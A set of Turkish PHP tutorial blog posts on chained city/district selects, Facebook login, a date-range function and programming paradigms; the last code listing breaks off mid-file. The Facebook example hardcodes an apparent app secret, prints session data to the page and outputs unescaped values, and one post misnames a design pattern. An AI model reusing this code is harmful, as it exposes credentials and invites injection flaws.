&lt;p&gt;&lt;h2 style=&quot;color:#FFF; font:2.6em/1.5 museo-sans-500,helvetica,arial,sans-serif;&quot; align=&quot;center&quot;&gt;Chained Select Uygulaması  - İl &amp;amp;amp;amp; İlçe Seçimi&lt;/h2&gt;&lt;/p&gt;
&lt;div id=&quot;wrapper&quot; align=&quot;center&quot; style=&quot;width:980px; min-height:200px; margin-top:10px; font-family:museo-sans-500,helvetica,arial,sans-serif;&quot;&gt;
&lt;div id=&quot;container&quot; style=&quot;width:940px;&quot;&gt;

&lt;div style=&quot;margin-left:30%;&quot;&gt;
&lt;select id=&quot;il&quot; name=&quot;il&quot;&gt;
&lt;option value=&quot;0&quot;&gt;Şehir Seçiniz&lt;/option&gt;
&lt;?php
$sql=$db-&gt;q(&quot;SELECT id,il_adi FROM il ORDER BY id ASC&quot;);
while($row=$db-&gt;fassoc($sql)){
?&gt;
&lt;option value=&quot;&lt;?=$row[&#039;id&#039;]?&gt;&quot;&gt;&lt;?=$row[&#039;il_adi&#039;]?&gt;&lt;/option&gt;
&lt;?php
}
?&gt;
&lt;/select&gt;

&lt;select name=&quot;ilce&quot; id=&quot;ilce&quot;&gt;
&lt;option value=&quot;0&quot;&gt;İlçe Seçiniz&lt;/option&gt;
&lt;/select&gt;

&lt;/div&gt;

&lt;/div&gt;
&lt;div style=&quot;clear:both;&quot;&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;script src=&quot;selectchained.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
&lt;script&gt;
$(&quot;#ilce&quot;).remoteChained(&quot;#il&quot;, &quot;smtr.php&quot;);
&lt;/script&gt;

&lt;?php $db-&gt;close(); ?&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>
<p>&nbsp;</p>
<p>index.php kodlarından anlaşılacağı üzere, uygulamanın kullandığı jQuery plugin dosyası : selectchained.js</p>
<p>&#8220;#il&#8221; select elementi seçildiğinde remoteChained fonksiyonu smtr.php dosyası ile etkileşim kurar.</p>
<p>&nbsp;</p>
<h3>2. Adım: smtr.php</h3>
<p>&nbsp;</p>
<pre class="brush: php; ">

&lt;?php
require_once(&quot;mysql.php&quot;);

if(isset($_GET[&#039;il&#039;])){

$il=(int)$_GET[&#039;il&#039;];

if($il&gt;0){
$dk=$db-&gt;q(&quot;SELECT `id`,`ilce_adi` FROM `ilce` WHERE `il_id`=&#039;$il&#039; ORDER BY `id` ASC&quot;);
$list=&#039;{&quot;0&quot;:&quot;İlçe Seçiniz&quot;,&#039;;
while($ilr=$db-&gt;fassoc($dk)){
$list.=&#039;&quot;&#039;.$ilr[&#039;id&#039;].&#039;&quot;:&quot;&#039;.$ilr[&#039;ilce_adi&#039;].&#039;&quot;,&#039;;
}
$list=substr($list,0,-1);
$list.=&quot;}&quot;;

echo $list;
}
}

$db-&gt;close();
?&gt;
</pre>
<p>&nbsp;</p>
<p><a href="http://demo.serpito.com/chain-select/" target="_blank"><img class="alignleft size-full wp-image-1475" title="demo" src="http://www.serpito.com/wp-content/uploads/demo.png" alt="" width="80" height="25" /></a></p>
<p>&nbsp;</p>
<p><a href="http://www.box.com/s/offguc4p56p17r00qtng" target="_blank"><img class="alignleft size-full wp-image-1476" title="download" src="http://www.serpito.com/wp-content/uploads/download.png" alt="" width="149" height="25" /></a></p>
<p>&nbsp;</p>


title: Sign in With Facebook Graph – Facebook ile Üye Girişi
source: http://www.serpito.com/sign-in-with-facebook/
author: Atilla Akoğlu
description:
<p><img class="alignleft size-medium wp-image-1527" title="facebook-login" src="http://www.serpito.com/wp-content/uploads/facebook-login-300x114.jpg" alt="" width="300" height="114" />Sosyal medyanın verdiği en büyük imkanlardan birisi de globalleşme. Basit bir Facebook uygulaması ile Facebook kullanıcılarının , web sayfanıza kolayca üye olması ve giriş yapması mümkün. OAuth hakkında detaylı bilgi için <a title="Open Graph" href="https://developers.facebook.com/docs/opengraph/" target="_blank">Via</a>.</p>
<p>Bu yazıda pratik ve hızlı bir facebook uygulaması geliştirecek, demo sayfamızda erişim sağlayacağız.</p>
<p>Öncelikle <a title="Facebook Developer" href="https://developers.facebook.com" target="_blank">Facebook Developers</a> sayfasına giriş yapmış olmak gerekiyor.</p>
<p>Adım adım işlemlere geçelim;</p>
<p>&nbsp;</p>
<h3>1. Adım</h3>
<p>Yeni uygulama bağlantısına tıklayarak kayıt edelim.</p>
<p><a href="http://www.serpito.com/wp-content/uploads/face1.jpg"><img class="aligncenter size-full wp-image-1524" title="Facebook 1" src="http://www.serpito.com/wp-content/uploads/face1.jpg" alt="" width="572" /></a></p>
<h3>2. Adım</h3>
<p><a href="http://www.serpito.com/wp-content/uploads/face2.jpg"><img class="aligncenter size-full wp-image-1525" title="Facebook 2" src="http://www.serpito.com/wp-content/uploads/face2.jpg" alt="" width="731" height="185" /></a></p>
<p>Kayıttan sonra özetten sonra gelen ekranda <strong>App ID</strong> ve <strong>App Secret</strong> değerleri kodlarımız için kullanılacak.</p>
<p><img class="size-full wp-image-1526 aligncenter" title="face-code" src="http://www.serpito.com/wp-content/uploads/face-code.jpg" alt="" width="390" height="136" /></p>
<h3></h3>
<h3>3. Adım</h3>
<p>Yazının altında indirebileceğiniz pakette yer alan facebook.php dosyasındaki appIdve secret değerlerini güncelleyin.</p>
<h3>4. Adım &#8211; login.php</h3>
<pre class="brush: php; ">

&lt;?php
ob_start();
session_start();
error_reporting(0);
# We require the library
require(&quot;facebook.php&quot;);

# Creating the facebook object
$facebook = new Facebook(array(
&#039;appId&#039;  =&gt; &#039;282510525144658&#039;,
&#039;secret&#039; =&gt; &#039;614e8f0ada3dff459de346c2863a0341&#039;,
&#039;cookie&#039; =&gt; false
));

# Let&#039;s see if we have an active session
$session = $facebook-&gt;getSession();

if(!empty($session)) {
# Active session, let&#039;s try getting the user id (getUser()) and user info (api-&gt;(&#039;/me&#039;))
try{
$uid = $facebook-&gt;getUser();
$user = $facebook-&gt;api(&#039;/me&#039;);

}catch (Exception $e){}

if(!empty($user)){
# We have an active session, let&#039;s check if we have already registered the user
$eposta=$user[&#039;email&#039;];
$name=$user[&#039;name&#039;];
$username=$user[&#039;name&#039;];
$utip=1;
if($user[&#039;gender&#039;]==&#039;male&#039;){$sex=1;}
else{$sex=0;}
$vakit=time();
$thumb=$slug.&quot;_&quot;.$vakit.&quot;.jpg&quot;;
$simdi=date(&quot;Y-m-d H:i:s&quot;);

$_SESSION[&#039;uid&#039;]=$user[&#039;id&#039;];
$_SESSION[&#039;username&#039;] = $user[&#039;isim&#039;];
$_SESSION[&#039;profile_image&#039;]=&#039;http://graph.facebook.com/&#039;.$user[&#039;id&#039;].&#039;/picture?type=large&#039;;
$_SESSION[&#039;profile_link&#039;]=$user[&#039;link&#039;];

/** Login veya register için
* bu bölümde database kodları ile uygulanabilir
**/

print_r($user);

header(&quot;Location: ../index.php&quot;);

} else {
# For testing purposes, if there was an error, let&#039;s kill the script
die(&quot;There was an error.&quot;);
}
} else {
# There&#039;s no active session, let&#039;s generate one
$login_url = $facebook-&gt;getLoginUrl();
header(&quot;Location: &quot;.$login_url);
}
</pre>
<p>login.php, facebook bağlantı onayı sağlandıktan sonra  gelen facebook graph bilgilerini basitçe $_SESSION değerlerine aktarıyoruz ve anasayfaya ( index.php) yönlendiriyoruz.</p>
<h3>4. Adım &#8211; Uygulama için anasayfa index.php</h3>
<pre class="brush: php; ">

&lt;?php
@ob_start();
@session_start();
?&gt;
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; dir=&quot;ltr&quot; lang=&quot;tr-TR&quot;&gt;
&lt;head profile=&quot;http://gmpg.org/xfn/11&quot;&gt;
&lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=UTF-8&quot; /&gt;
&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width&quot; /&gt;
&lt;title&gt;Serpito - Facebook ile bağlan&lt;/title&gt;

&lt;/head&gt;
&lt;body&gt;
&lt;div id=&quot;wrapperpub&quot;&gt;
&lt;div id=&quot;header&quot;&gt;
&lt;div style=&quot;width:550px; float:left;&quot;&gt;
&lt;h1 id=&quot;blog-title&quot;&gt;&lt;a href=&quot;http://www.serpito.com/&quot; title=&quot;Serpito&quot;&gt;Serpito&lt;/a&gt;&lt;/h1&gt;
&lt;div&gt;Güncel Teknoloji ve Yazılım Blogu &lt;/div&gt;
&lt;/div&gt;&lt;!-- dp100 --&gt;
&lt;div style=&quot;width:300px; float:right;&quot;&gt;
&lt;a style=&quot;font:2.4em/1.5 museo-sans-500,helvetica,arial,sans-serif; color:#FFF;&quot; href=&quot;http://www.serpito.com/sign-in-with-facebook/&quot;&gt;Yazıya geri dön &amp;amp;amp;amp;amp;not;&lt;/a&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;!--  #header --&gt;
&lt;/div&gt;&lt;!--  #wrapperpub --&gt;

&lt;div&gt;&lt;/div&gt;

&lt;p&gt;&lt;h2 style=&quot;color:#FFF; font:2.6em/1.5 museo-sans-500,helvetica,arial,sans-serif;&quot; align=&quot;center&quot;&gt;Facebook Login Demo Uygulaması&lt;/h2&gt;&lt;/p&gt;
&lt;div id=&quot;wrapper&quot; style=&quot;width:980px; min-height:250px; margin-top:10px; font-family:museo-sans-500,helvetica,arial,sans-serif;&quot;&gt;
&lt;div id=&quot;container&quot; style=&quot;width:940px;&quot;&gt;
&lt;?php
if(!isset($_SESSION[&#039;uid&#039;])){
?&gt;
&lt;p align=&quot;center&quot;&gt;Facebook ile Bağlan ? &lt;br /&gt;&lt;a href=&quot;fb/login.php&quot;&gt;&lt;img src=&quot;fblogin.gif&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;?php
}else{
?&gt;

&lt;span style=&quot;float:right;&quot;&gt;&lt;a href=&quot;logout.php&quot;&gt;Çıkış&lt;/a&gt;&lt;/span&gt;
&lt;div style=&quot;background-color:#FFEAA8; padding:5px; font-size:14px; background-image:url(facebook.png); background-position:bottom right; background-repeat:no-repeat;&quot;&gt;
&lt;div&gt;
&lt;a href=&quot;&lt;?=$_SESSION[&#039;profile_link&#039;]?&gt;&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;&lt;?=$_SESSION[&#039;profile_image&#039;]?&gt;&quot; height=&quot;100&quot; width=&quot;100&quot;&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;h2&gt;&lt;a href=&quot;&lt;?=$_SESSION[&#039;profile_link&#039;]?&gt;&quot;&gt;&lt;?=$_SESSION[&#039;username&#039;]?&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;div style=&quot;clear:both;&quot;&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt; Facebook Graph Verileri&lt;/strong&gt;
&lt;pre style=&quot;font-size:12px;&quot;&gt;
&lt;?=print_r($_SESSION);?&gt;
&lt;/pre&gt;
&lt;?php
}
?&gt;

&lt;/div&gt;
&lt;div style=&quot;clear:both;&quot;&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;/body&gt;
&lt;/html&gt;
</pre>
<p><a href="http://demo.serpito.com/facebook-login/"><img class="alignleft size-full wp-image-1475" title="Uygulama Demo" src="http://www.serpito.com/wp-content/uploads/demo.png" alt="" width="80" height="25" /></a></p>
<p>&nbsp;</p>
<p><a href="http://www.box.com/s/0n1m421yk9somvrkbj89"><img class="alignleft size-full wp-image-1476" title="download" src="http://www.serpito.com/wp-content/uploads/download.png" alt="" width="149" height="25" /></a></p>
<p>&nbsp;</p>


title: PHP: İki Tarih Arası Günleri Listelemek
source: http://www.serpito.com/php-iki-tarih-arasi-gunleri-listelemek/
author: Atilla Akoğlu
description:
<p><img class="alignleft size-medium wp-image-1535" title="date-php" src="http://www.serpito.com/wp-content/uploads/date-php-300x217.jpg" alt="" width="300" height="217" /> İki tarih aralığındaki zaman değerini hesaplamak için basit bir fonksiyon geliştiriyoruz.</p>
<p>MySQL&#8217;de iki tarih arasını hesaplamak konusunu <a title="MySQL'de iki tarih arasını hesaplamak konusunu da " href="http://www.serpito.com/mysql-datediff-ile-iki-tarih-arasini-hesaplama/">daha önce yazmıştık</a>. Bazı durumlarda verilen aralıklarda günlerin listesi gerekebilir .</p>
<p>Bu fonksiyon ile iki tarih arasındaki günleri liste halinde alabiliriz ve tablo döküm işlemlerinde rahatça kullanabiliriz.</p>
<p>&nbsp;</p>
<p>Fonksiyonumuza geçelim;</p>
<p>&nbsp;</p>
<pre class="brush: php; ">

function DaysBetweenDates($strDateFrom,$strDateTo)
{

$aryRange=array();

$iDateFrom=mktime(1,0,0,substr($strDateFrom,5,2),     substr($strDateFrom,8,2),substr($strDateFrom,0,4));
$iDateTo=mktime(1,0,0,substr($strDateTo,5,2),     substr($strDateTo,8,2),substr($strDateTo,0,4));

if ($iDateTo&gt;=$iDateFrom)
{
array_push($aryRange,date(&#039;Y-m-d&#039;,$iDateFrom)); // first entry
while ($iDateFrom&lt;$iDateTo)
{
$iDateFrom+=86400; // add 24 hours
array_push($aryRange,date(&#039;Y-m-d&#039;,$iDateFrom));
}
}
return $aryRange;
}
</pre>
<p>&nbsp;</p>
<p>Örnek Kullanım;</p>
<blockquote><p>$gunler=DaysBetweenDates(&#8220;2012-01-15&#8243;,&#8221;2012-02-05&#8243;);</p></blockquote>


title: Yordamsal Programlama
source: http://www.serpito.com/yordamsal-programlama/
author: yedincisenol
description:
<p>Programcılık dersime ödev olarak hazırladığım programlama türleri araştırmasının ilk yazısı &#8220;Yordamsal Programlama&#8221;&#8216;yı sizinle paylaşmak istiyorum.</p>
<div><strong><strong><strong>Yordamsal Programlama (Procedural Programming)</strong></strong></strong></div>
<div></div>
<div>Gelişen ilk programlama türlerinden biri olan, Yordamsal programlama; programın alt birimlere, fonksiyonlara ayrılmasını baz alır. Bu yöntemle programdaki kontrol kolaylaşır ve kod tekrarının önüne geçilmiş olur. Ancak bu tür, fonksiyonlar arası iletişimin genişlemesinin gerektiği durumlarda yetersiz kalabiliyor. Örneğin programın bir çok yerinde kullanılan bir fonksiyonda değişiklik yapmak, fonksiyonun çağırıldığı diğer yerlerde de (fonksiyonu çağırma yönteminde/parametrelerinde) değişiklik yapmayı gerektirebiliyor. OOP’de olduğu gibi bir kümeleşme özelliği de olmadığı için, fonksiyon/birim sayısı arttığında programın kontrolü güçleşebiliyor.<strong><strong><br />
</strong></strong></div>
<div>
<h4>Kaynaklar</h4>
<div>
<ul>
<li><a href="http://www.javaturk.org/?p=401">http://www.javaturk.org/?p=401</a></li>
<li><a href="http://tr.wikipedia.org/wiki/Yordamsal_programlama">http://tr.wikipedia.org/wiki/Yordamsal_programlama</a></li>
</ul>
<div></div>
<h2>Gelecek Yazılarda Şunlara Değineceğiz</h2>
<ul>
<li><a href="http://www.serpito.com/yapisal-programlama/" target="_blank">Yapısal Programlama</a></li>
<li><a href="http://www.serpito.com/nesne-tabanli-programlama/">Nesne Tabanlı Programlama</a></li>
<li><a href="http://www.serpito.com/olaya-dayali-programlama/">Olaya Dayalı Programlama</a></li>
<li><a href="http://www.serpito.com/nesne-yonelimli-programlama/">Nesne Yönelimli Programlama</a></li>
</ul>
<p>Umarım faydalı olurlar&#8230;</p>
</div>
</div>


title: Yapısal Programlama
source: http://www.serpito.com/yapisal-programlama/
author: yedincisenol
description:
<p>Programlama türleri yazı serimize Yapısal Programlama ile devam ediyoruz. &#8220;Programlama Türleri&#8221; teriminin kast ettiği anlamı teşkil ettiğinden tam emin değilim. Ancak daha güzel bir tanım bulana kadar böyle kullanmaya devam edeceğim. Farklı tavsiyeleri olanlar yorumlar kısmına yazabilir.</p>
<h1>Yapısal Programlama</h1>
<p><strong>(Structured Programming)</strong></p>
<p><strong></strong>Bu programlama yöntemi, programın işlevsel bölümlere ayrılmasını baz alır. Yordamsal programlama ile karşılaştırıldığında, Yapısal programlama, Yordamsal programlamanın biraz daha gelişmiş halidir diyebiliriz. Yordamsal programlamada, program sadece fonksiyonlarla parçalanırken, Yapısal programlamada; önce işlevlerine göre parçalanır sonra da alt yordamlarla program parçaları iyice küçülür. Bu küçülme ve parçalanma programın kodlanma ve geliştirilme kolaylığına da olumlu yönde etki eder.</p>
<p>Yapısal programlama dillerine örnek olarak, ALGOL ve Pascal verilebilir.</p>
<h4>Kaynaklar</h4>
<ul>
<li><a href="http://tr.wikipedia.org/wiki/Yap%C4%B1sal_programlama">http://tr.wikipedia.org/wiki/Yap%C4%B1sal_programlama</a></li>
<li><a href="http://tr.wikipedia.org/wiki/Kategori:Yap%C4%B1sal_programlama_dilleri">http://tr.wikipedia.org/wiki/Kategori:Yap%C4%B1sal_programlama_dilleri</a></li>
<li><a href="http://www.bilgisayarkavramlari.com/2007/12/18/yapisal-programlama-structured-programming/">http://www.bilgisayarkavramlari.com/2007/12/18/yapisal-programlama-structured-programming/</a></li>
</ul>


title: Nesne Tabanlı Programlama
source: http://www.serpito.com/nesne-tabanli-programlama/
author: yedincisenol
description:
<p><strong>(Object Base Programming)</strong></p>
<p>Nesne tabanlı programlama, genel olarak Nesne Yönelimli Programlamaya benzemekle beraber, bu türdeki bazı özelliklerden yoksundur. Örneğin OOP’de miras alma ve dinamik bağlama özelliği var iken Nesne tabanlı programlamada bu özellikler yoktur. Nesne tabanlı programlama, çoğunlukla Nesne yönelimli programlama ile karıştırılır. Gerçekte bu iki tür birbirine benzemekle birlikte yukarıda da bahsettiğimiz gibi aralarında küçük farklar mevcuttur. Persfektifimizi biraz daha genişleterek baktığımızda Nesne tabanlı programlamanın, nesne yönelimli programlamanın biraz daha kısıtlı hali veya OOP’nin Nesne tabanlı programlamanın biraz daha gelişmiş hali olduğunu söyleyebiliriz. Nesne tabanlı programlama dillerine, Object Pascal, Python ve Java verilebilir.<strong><strong></p>
<p></strong></strong></p>
<h4>Kaynaklar</h4>
<ul>
<li><a href="http://tr.wikipedia.org/wiki/Nesne_tabanl%C4%B1_programlama_dili">http://tr.wikipedia.org/wiki/Nesne_tabanl%C4%B1_programlama_dili</a></li>
<li><a href="http://forums.techarena.in/software-development/1297405.htm">http://forums.techarena.in/software-development/1297405.htm</a></li>
</ul>


title: Olaya Dayalı Programlama
source: http://www.serpito.com/olaya-dayali-programlama/
author: yedincisenol
description:
<p><strong><strong>(Event-Driven Programming)</p>
<p></strong></strong>Olaya dayalı programlamada, (çoğunlukla) her şey bir olayın gerçekleşmesiyle çalışmaya başlar. Bu olaylara, klavye’den bi’şey yazmak, tıklamak, bir nesneyi sürüklemek, bir elemana odaklanmak örnek olarak verilebilir. Bunlar herkesin kolaylıkla bilebileceği gelenekselleşmiş olaylar. Ancak olaylar bunlarla sınırlı kalmazlar. Örneğin masaüstü bir program için, barkod cihazının bir okuma gerçekleştirmesi, yazıcının kağıdının tükenmesi, bilgisayardan ses çıkışının gerçekleşmesi birer olaydır ve bu olaylar çeşitlenebilir ve genişleyebilirler. Olaya dayalı programlama çoğunlukla tek başına kullanılmaz. Genellikle OOP ile beraber kullanıldığını söyleyebilirim. Bu temelle çalışan dillerden belki en bilinenlerden ve güzel örneklerinden biri Javascript’tir. Bu dilde her şey olaylara bağlanmış ve bu tetikleyiciyle çalıştırılmıştır. Javascript’te çoğu zaman programın çalışması da, sayfanın yüklenmesinin tamamlanması olayına bağlanır.</p>
<p>Olaya dayalı programlama yapabileceğimiz bazı programlara, C#,Visual Basic.Net,Java,Delphi ve C++ örnek olarak verilebilir. Aslında temelde her programlama dili, olaya dayalı çalışabilme özelliğine sahiptir. Çünkü kullanıcıyla iletişim kurmanın tek yolu olaylardır. Yani en temelde klavyeden veri girişi olayı gerçekşemeli ki bu veriler işlenebilsin.<strong><strong></p>
<p></strong></strong></p>
<h4>Kaynaklar:</h4>
<ul>
<li><a href="http://tr.wikipedia.org/wiki/Olaya_dayal%C4%B1_programlama">http://tr.wikipedia.org/wiki/Olaya_dayal%C4%B1_programlama</a></li>
<li><a href="http://www.chip.com.tr/blog/kadircamoglu/olaya-dayali-programlama_5522.html">http://www.chip.com.tr/blog/kadircamoglu/olaya-dayali-programlama_5522.html</a></li>
</ul>


title: Nesne Yönelimli Programlama
source: http://www.serpito.com/nesne-yonelimli-programlama/
author: yedincisenol
description:
<p><strong>(Object Oriented Programming)</strong></p>
<p>Nesne yönelimli programlama türü, gelişen ve büyüyen yazılımların bakım ve geliştirme maaliyetlerini azaltmak için geliştirilmiştir. Bu türün en önemli artılarından biri, programlarda kontrolü daha kolaylaştırması olmuştur. Bu tür ile modülerlik özellikleride daha sık kullanılmaya başlanmıştır.</p>
<p>Programlama türlerinin hepsinde olduğu gibi Nesne yönelimli programlamada da, sıkça karşılaşılan bazı problemler var. Bu problemlere çözüm olmak üzere zamanla, tasarım desenleri geliştirilmiş ve kullanılır olmuştur.</p>
<h4>Sıkça kullanılan bazı tasarım desenleri;</h4>
<ul>
<li>Adapter</li>
<li>Decoder</li>
<li>Prototype</li>
<li>Singleton</li>
<li>Factory</li>
</ul>
<p>Biraz daha teknik detaylarına girecek olursak, nesneler (ya da class’lar), özellik ve metodlardan oluşurlar. Özellikler, program esnasında oluşan verileri saklamak, metodlarsa bir sonuç ortaya çıkarmak için kullanılırlar. Nesne yönelimli programlama da, soyutlama, miras alma ve paketleme yöntemleriyle programlar için bir iç standart ortamı da sağlanmaktadır. Bu standartlar da, hem programların ömürlerini uzatır, hem geliştirmeyi kolaylaştırır, hem de kod tekrarının azalmasını sağlar.</p>
<p>Nesne yönelimli programlama, bi’çok dilin de desteğiyle, programlama türleri arasında en çok kullanılanlardan biri olmuştur. Bunun en önemli sebepleri, yukarıda bahsettiğimiz; bakım ve geliştirme maaliyetlerini azaltması ve programların kontrolünü kolaylaştırması olmuştur. Ancak her program için Nesne yönelimli programala ile yazmak da gereksiz olabilir. Küçük çaplı veya kısa süreli işlerde Yordamsal veya Yapısal programlama zaman açısından daha verimli sonuçlar doğurabilir.</p>
<h4>Kaynaklar:</h4>
<ul>
<li><a href="http://tr.wikipedia.org/wiki/Nesne_Y%C3%B6nelimli_Programlama">http://tr.wikipedia.org/wiki/Nesne_Y%C3%B6nelimli_Programlama</a></li>
</ul>
<p>Bu yazıyla, &#8220;Programlama Türleri&#8221; yazı serisine son vermiş bulunmaktayım. Umarım faydalı olmuştur&#8230;</p>


title: PHP:jQuery: Chained Select – İl & İlçe & Semt & Mahalle Seçimi
source: http://www.serpito.com/jquery-chained-select-il-ilce-semt-mahalle-secimi/
author: Atilla Akoğlu
description:
<p><img class="alignleft size-medium wp-image-1512" title="Ajax Select Chained" src="http://www.serpito.com/wp-content/uploads/chained-300x154.jpg" alt="Ajax Select Chained İl ilçe semt mahalle" width="300" height="154" /></p>
<p>Yazının daha önceki versiyonunda <a title="Chain Select" href="http://www.serpito.com/php-ajax-chained-select-il-ilce-secimi/">Ajax ile dinamik şehir ve ilçe seçimi</a> yapmıştık.  Ziyaretçilerden gelen talep üzerine, bu versiyonda  Şehir &gt; İlçe &gt; Semt &gt; Mahalle seçimi sistemini paylaşıyorum.</p>
<p>&nbsp;</p>
<h3>index.php kodları</h3>
<p>&nbsp;</p>
<pre class="brush: php; ">

&lt;pre&gt;&lt;?php
@ob_start();
@session_start();
require_once(&quot;mysql.php&quot;);  / uygulamamızın veritabanı işlemleri için gerekli olan bağlantı dosyası
?&gt;
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; dir=&quot;ltr&quot; lang=&quot;tr-TR&quot;&gt;
&lt;head profile=&quot;http://gmpg.org/xfn/11&quot;&gt;
&lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=UTF-8&quot; /&gt;
&lt;title&gt;Serpito - Ajax Chain Select - İl ilçe seçimi&lt;/title&gt;
&lt;script src=&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
&lt;style&gt;
select { width:150px; line-height:22px; padding:4px; background-color:#F8F8F8; border:1px solid #F8EBDC; float:left; margin-right:15px;}
select option{line-height:22px;}
&lt;/style&gt;

&lt;/head&gt;
&lt;body&gt;
&lt;div id=&quot;wrapperpub&quot;&gt;
&lt;div id=&quot;header&quot;&gt;
&lt;div style=&quot;width:550px; float:left;&quot;&gt;
&lt;h1 id=&quot;blog-title&quot;&gt;&lt;a href=&quot;http://www.serpito.com/&quot; title=&quot;Serpito&quot;&gt;Serpito&lt;/a&gt;&lt;/h1&gt;
&lt;div&gt;Güncel Teknoloji ve Yazılım Blogu &lt;/div&gt;
&lt;/div&gt;&lt;!-- dp100 --&gt;
&lt;div style=&quot;width:300px; float:right;&quot;&gt;
&lt;a style=&quot;font:2.4em/1.5 museo-sans-500,helvetica,arial,sans-serif; color:#FFF;&quot; href=&quot;http://www.serpito.com/php-ajax-chained-select-il-ilce-secimi/&quot;&gt;Yazıya geri dön &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;not;&lt;/a&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;!--  #header --&gt;
&lt;/div&gt;&lt;!--  #wrapperpub --&gt;

&lt;div&gt;&lt;/div&gt;

&lt;p&gt;&lt;h2 style=&quot;color:#FFF; font:2.6em/1.5 museo-sans-500,helvetica,arial,sans-serif;&quot; align=&quot;center&quot;&gt;Chained Select Uygulaması  - İl &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp; İlçe Seçimi&lt;/h2&gt;&lt;/p&gt;
&lt;div id=&quot;wrapper&quot; align=&quot;center&quot; style=&quot;width:980px; min-height:200px; margin-top:10px; font-family:museo-sans-500,helvetica,arial,sans-serif;&quot;&gt;
&lt;div id=&quot;container&quot; style=&quot;width:940px;&quot;&gt;

&lt;div style=&quot;margin-left:30%;&quot;&gt;
&lt;select id=&quot;il&quot; name=&quot;il&quot;&gt;
&lt;option value=&quot;0&quot;&gt;Şehir Seçiniz&lt;/option&gt;
&lt;?php
$sql=$db-&gt;q(&quot;SELECT id,il_adi FROM il ORDER BY id ASC&quot;);
while($row=$db-&gt;fassoc($sql)){
?&gt;
&lt;option value=&quot;&lt;?=$row[&#039;id&#039;]?&gt;&quot;&gt;&lt;?=$row[&#039;il_adi&#039;]?&gt;&lt;/option&gt;
&lt;?php
}
?&gt;
&lt;/select&gt;

&lt;select name=&quot;ilce&quot; id=&quot;ilce&quot;&gt;
&lt;option value=&quot;0&quot;&gt;İlçe Seçiniz&lt;/option&gt;
&lt;/select&gt;

&lt;/div&gt;

&lt;/div&gt;
&lt;div style=&quot;clear:both;&quot;&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;script src=&quot;selectchained.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
&lt;script&gt;
$(&quot;#ilce&quot;).remoteChained(&quot;#il&quot;, &quot;smtr.php&quot;);
$(&quot;#semt&quot;).remoteChained(&quot;#ilce&quot;, &quot;smtr.php&quot;);
$(&quot;#mahalle&quot;).remoteChained(&quot;#semt&quot;, &quot;smtr.php&quot;);
&lt;/script&gt;

&lt;?php $db-&gt;close(); ?&gt;
&lt;/body&gt;
&lt;/html&gt;&lt;/pre&gt;
</pre>
<p>index.php kodlarından anlaşılacağı üzere, uygulamanın kullandığı jQuery plugin dosyası : selectchained.js</p>
<p>“#il”,“#ilce”, “#semt”  select elementleri seçildiğinde remoteChained fonksiyonu smtr.php dosyası ile etkileşim kurar.</p>
<p>&nbsp;</p>
<h3>2. Adım   smtr.php</h3>
<pre class="brush: php; ">

&lt;?php
require_once(&quot;mysql.php&quot;);

if(isset($_GET[&#039;il&#039;])){

$il=(int)$_GET[&#039;il&#039;];

if($il&gt;0){
$dk=$db-&gt;q(&quot;SELECT `id`,`ilce_adi` FROM `ilce` WHERE `il_id`=&#039;$il&#039; ORDER BY `id` ASC&quot;);
$list=&#039;{&quot;0&quot;:&quot;Seçiniz&quot;,&#039;;
while($ilr=$db-&gt;fassoc($dk)){
$list.=&#039;&quot;&#039;.$ilr[&#039;id&#039;].&#039;&quot;:&quot;&#039;.$ilr[&#039;ilce_adi&#039;].&#039;&quot;,&#039;;
}
$list=substr($list,0,-1);
$list.=&quot;}&quot;;

echo $list;
}
}
else if(isset($_GET[&#039;ilce&#039;])){
$ilce=(int)$_GET[&#039;ilce&#039;];

if($ilce&gt;0){
$dk=$db-&gt;q(&quot;SELECT `id`,`semt_adi` FROM `semt` WHERE `ilce_id`=&#039;$ilce&#039; ORDER BY `id` ASC&quot;);
$list=&#039;{&quot;0&quot;:&quot;Seçiniz&quot;,&#039;;
while($ilr=$db-&gt;fassoc($dk)){
$list.=&#039;&quot;&#039;.$ilr[&#039;id&#039;].&#039;&quot;:&quot;&#039;.$ilr[&#039;semt_adi&#039;].&#039;&quot;,&#039;;
}
$list=substr($list,0,-1);
$list.=&quot;}&quot;;

echo $list;
}
}
else if(isset($_GET[&#039;semt&#039;])){
$semt=(int)$_GET[&#039;semt&#039;];

if($semt&gt;0){
$dk=$db-&gt;q(&quot;SELECT `id`,`mahalle_adi` FROM `mahalle` WHERE `semt_id`=&#039;$semt&#039; ORDER BY `id` ASC&quot;);
$list=&#039;{&quot;0&quot;:&quot;Seçiniz&quot;,&#039;;
while($ilr=$db-&gt;fassoc($dk)){
$list.=&#039;&quot;&#039;.$ilr[&#039;id&#039;].&#039;&quot;:&quot;&#039;.$ilr[&#039;mahalle_adi&#039;].&#039;&quot;,&#039;;
}
$list=substr($list,0,-1);
